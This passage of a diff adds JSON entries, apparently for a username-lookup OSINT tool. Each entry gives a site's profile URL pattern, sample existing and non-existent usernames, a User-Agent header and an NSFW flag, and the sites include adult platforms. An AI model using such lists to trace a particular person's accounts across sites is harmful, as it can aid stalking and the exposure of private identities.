"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.patreon.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "periscope": { + "url": "https://www.periscope.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.periscope.tv/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.periscope.tv/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pinkbike": { + "url": "https://www.pinkbike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.pinkbike.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinkbike.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "playstore": { + "url": "https://play.google.com/store", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Facebook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://play.google.com/store/apps/developer?id=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pokemonshowdown": { + "url": "https://pokemonshowdown.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pokemonshowdown.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pokemonshowdown.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "polarsteps": { + "url": "https://polarsteps.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://polarsteps.com/%s", + "existUsername": "james", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://polarsteps.com/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "polygon": { + "url": "https://www.polygon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.polygon.com/users/%s", + "existUsername": "swiftstickler", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.polygon.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pornhub": { + "url": "https://pornhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pornhub.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pornhub.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "promodj": { + "url": "http://promodj.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://promodj.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://promodj.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "rajce-net": { + "url": "https://www.rajce.idnes.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.rajce.idnes.cz/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.rajce.idnes.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "rateyourmusic": { + "url": "https://rateyourmusic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rateyourmusic.com/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rateyourmusic.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rcloneforum": { + "url": "https://forum.rclone.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.rclone.org/u/%s", + "existUsername": "ncw", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.rclone.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "redtube": { + "url": "https://www.redtube.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redtube.com/users/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redtube.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "redbubble": { + "url": "https://www.redbubble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.redbubble.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.redbubble.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "reisefrage": { + "url": "https://www.reisefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.reisefrage.net/nutzer/%s", + "existUsername": "reisefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.reisefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "replit-com": { + "url": "https://replit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://replit.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://replit.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "royalcams": { + "url": "https://royalcams.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://royalcams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://royalcams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rumble": { + "url": "https://rumble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://rumble.com/user/%s", + "existUsername": "John", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://rumble.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "swapd": { + "url": "https://swapd.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://swapd.co/u/%s", + "existUsername": "swapd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://swapd.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "sbazar-cz": { + "url": "https://www.sbazar.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sbazar.cz/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sbazar.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "scratch": { + "url": "https://scratch.mit.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scratch.mit.edu/users/%s", + "existUsername": "griffpatch", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scratch.mit.edu/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shitpostbot5000": { + "url": "https://www.shitpostbot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shitpostbot.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shitpostbot.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "shpock": { + "url": "https://www.shpock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.shpock.com/shop/%s/items", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.shpock.com/shop/%s/items" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "sketchfab": { + "url": "https://sketchfab.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sketchfab.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sketchfab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slack": { + "url": "https://slack.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.slack.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.slack.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slant": { + "url": "https://www.slant.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.slant.co/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.slant.co/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "slideshare": { + "url": "https://slideshare.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slideshare.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slideshare.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "slides": { + "url": "https://slides.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://slides.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://slides.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "smugmug": { + "url": "https://smugmug.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.smugmug.com", + "existUsername": "winchester", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.smugmug.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "soundcloud": { + "url": "https://soundcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://soundcloud.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://soundcloud.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "splice": { + "url": "https://splice.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splice.com/%s", + "existUsername": "splice", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splice.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "splits-io": { + "url": "https://splits.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://splits.io/users/%s", + "existUsername": "cambosteve", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://splits.io/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sporcle": { + "url": "https://www.sporcle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sporcle.com/user/%s/people", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sporcle.com/user/%s/people" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "sportlerfrage": { + "url": "https://www.sportlerfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sportlerfrage.net/nutzer/%s", + "existUsername": "sportlerfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sportlerfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "sportsru": { + "url": "https://www.sports.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.sports.ru/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sports.ru/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "tldrlegal": { + "url": "https://tldrlegal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tldrlegal.com/users/%s/", + "existUsername": "kevin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tldrlegal.com/users/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "traktrain": { + "url": "https://traktrain.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traktrain.com/%s", + "existUsername": "traktrain", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traktrain.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tellonym-me": { + "url": "https://tellonym.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tellonym.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tellonym.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tenor": { + "url": "https://tenor.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tenor.com/users/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tenor.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "themeforest": { + "url": "https://themeforest.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://themeforest.net/user/%s", + "existUsername": "user", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://themeforest.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "tnaflix": { + "url": "https://www.tnaflix.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tnaflix.com/profile/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tnaflix.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "tradingview": { + "url": "https://www.tradingview.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.tradingview.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.tradingview.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trakt": { + "url": "https://www.trakt.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.trakt.tv/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.trakt.tv/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "trashboxru": { + "url": "https://trashbox.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://trashbox.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://trashbox.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "trawelling": { + "url": "https://traewelling.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://traewelling.de/@%s", + "existUsername": "lassestolley", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://traewelling.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "tuna": { + "url": "https://tuna.voicemod.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tuna.voicemod.net/user/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tuna.voicemod.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "tweakers": { + "url": "https://tweakers.net", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://tweakers.net/gallery/%s", + "existUsername": "femme", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tweakers.net/gallery/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ultimate-guitar": { + "url": "https://ultimate-guitar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ultimate-guitar.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ultimate-guitar.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vsco": { + "url": "https://vsco.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vsco.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vsco.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vero": { + "url": "https://vero.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vero.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vero.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vimeo": { + "url": "https://vimeo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vimeo.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vimeo.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wicgforum": { + "url": "https://discourse.wicg.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.wicg.io/u/%s/summary", + "existUsername": "stefano", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.wicg.io/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "warriorforum": { + "url": "https://www.warriorforum.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.warriorforum.com/members/%s.html", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.warriorforum.com/members/%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wattpad": { + "url": "https://www.wattpad.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wattpad.com/user/%s", + "existUsername": "Dogstho7951", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": 